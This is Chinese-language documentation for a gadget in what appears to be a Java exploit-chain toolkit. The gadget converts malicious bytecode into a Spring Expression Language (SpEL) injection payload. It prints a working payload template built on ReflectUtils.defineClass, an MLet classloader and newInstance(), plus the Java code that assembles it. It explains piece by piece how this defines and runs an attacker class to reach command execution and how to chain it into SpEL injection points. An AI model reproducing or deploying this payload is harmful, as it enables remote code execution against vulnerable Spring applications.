- 类别:common 别名:— 优先级:—
- 作者:—
- 依赖:
spring:org.springframework.cglib.core.ReflectUtils / org.springframework.util.Base64Utils / org.springframework.util.ClassUtils(需 spring-core + spring-expression)
一个「字节码 → SpEL 表达式」转换器(Convert 型 gadget):取下游产出的 byte[] 字节码,Base64 编码后填入 SpEL 模板,生成一段用 org.springframework.cglib.core.ReflectUtils.defineClass(...) 动态定义并实例化任意类的 Spring Expression Language 字符串。供上游 SpEL 注入 sink(消费 SpEL_Expr)拼装成完整攻击表达式。
- 入口
tags:SpEL_Expr、ExpressionSpEL_Expr—— 产出「SpEL 表达式片段」,供消费该 tag 的上游 SpEL 注入载体承接。Expression—— 表达式字符串型产物。
- 衔接
nextTags:BytecodeConvertTag—— 之后需接一个产出「字节码byte[]」的 gadget(即BytecodeConvert系列),本类从其取回字节码。 excludes:无。
public static String spelTemplate = "T(org.springframework.cglib.core.ReflectUtils).defineClass('%s',T(org.springframework.util.Base64Utils).decodeFromString('%s'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()";
private String getObject(byte[] bytecode, String className) {
String bytecodeB64 = Base64.encodeBase64String((byte[])bytecode);
return String.format(spelTemplate, className, bytecodeB64);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
Object bytecode = chain.doCreate(context);
String className = context.getString(ContextTag.CLASS_NAME_KEY);
return this.getObject((byte[])bytecode, className);
}逐段解释:
invoke()先chain.doCreate(context)触发下游(nextTags=BytecodeConvertTag,即BytecodeConvert)生成恶意类的byte[]字节码;再从上下文取ContextTag.CLASS_NAME_KEY得到该类的类名(与字节码里的类名一致,defineClass要求名称匹配)。getObject()用org.apache.commons.codec.binary.Base64.encodeBase64String把字节码编成 Base64 文本,再String.format填进spelTemplate。- SpEL 模板逐部分解读:
T(org.springframework.cglib.core.ReflectUtils).defineClass('<className>', <bytes>, <classLoader>)——T(...)是 SpEL 的类型引用,ReflectUtils.defineClass把 Base64 解码得到的字节码在指定 ClassLoader 中定义为一个真实的Class。T(org.springframework.util.Base64Utils).decodeFromString('<b64>')—— 运行时用 Spring 的Base64Utils把 Base64 文本解回byte[]作为defineClass的第二个参数。new javax.management.loading.MLet(new java.net.URL[0], ...getContextClassLoader())—— 构造一个MLet(URLClassLoader子类)作为定义类所用的 ClassLoader,父加载器取当前线程上下文 ClassLoader;用MLet是为了绕开ReflectUtils.defineClass对 ClassLoader 的可访问性/兼容性要求。.newInstance()—— 定义完成后立即实例化恶意类,触发其构造/静态逻辑(即最终 sink,如命令执行)。
- 返回的是不带
${...}包裹的纯 SpEL 表达式(见 description),由上游 SpEL 注入 gadget 视语境自行决定是否加解析定界符。
本类无 @Param。类名由上下文 CLASS_NAME_KEY 提供,字节码由下游 BytecodeConvert 生成。
- 依赖 Spring:需
spring-core(提供Base64Utils/ClassUtils/内嵌cglib的ReflectUtils)与spring-expression(SpEL 解析)。注意org.springframework.util.Base64Utils在 spring-core 6.2 之后被移除,运行环境需保留该类。 ReflectUtils.defineClass的可用签名随 Spring/cglib 版本略有差异;模板选用 3 参数(className、bytes、ClassLoader)形式并显式传MLet,兼顾多版本。- 产物为字符串型中间件:本身不执行,须被 SpEL 注入点(
SpelExpressionParser.parseExpression(...).getValue()等)实际求值才触发defineClass + newInstance。 - 默认不含
${X}外层定界,适配直接求值场景;若目标是模板解析(TemplateParserContext)则需上游补上#{}/${}。
自由构件,未直接出现在预设链(usedInChains 为空)。作为字节码→SpEL 的通用转换环,可插入任意 SpEL 注入利用中。
- 下游(
nextTags=BytecodeConvertTag):BytecodeConvert(生成恶意类字节码),其内层通常再接 Exec 等 sink。 - 上游:消费
SpEL_Expr的 SpEL 注入载体(如 Spring 相关表达式注入 gadget),负责把本片段投递到实际 SpEL 求值点。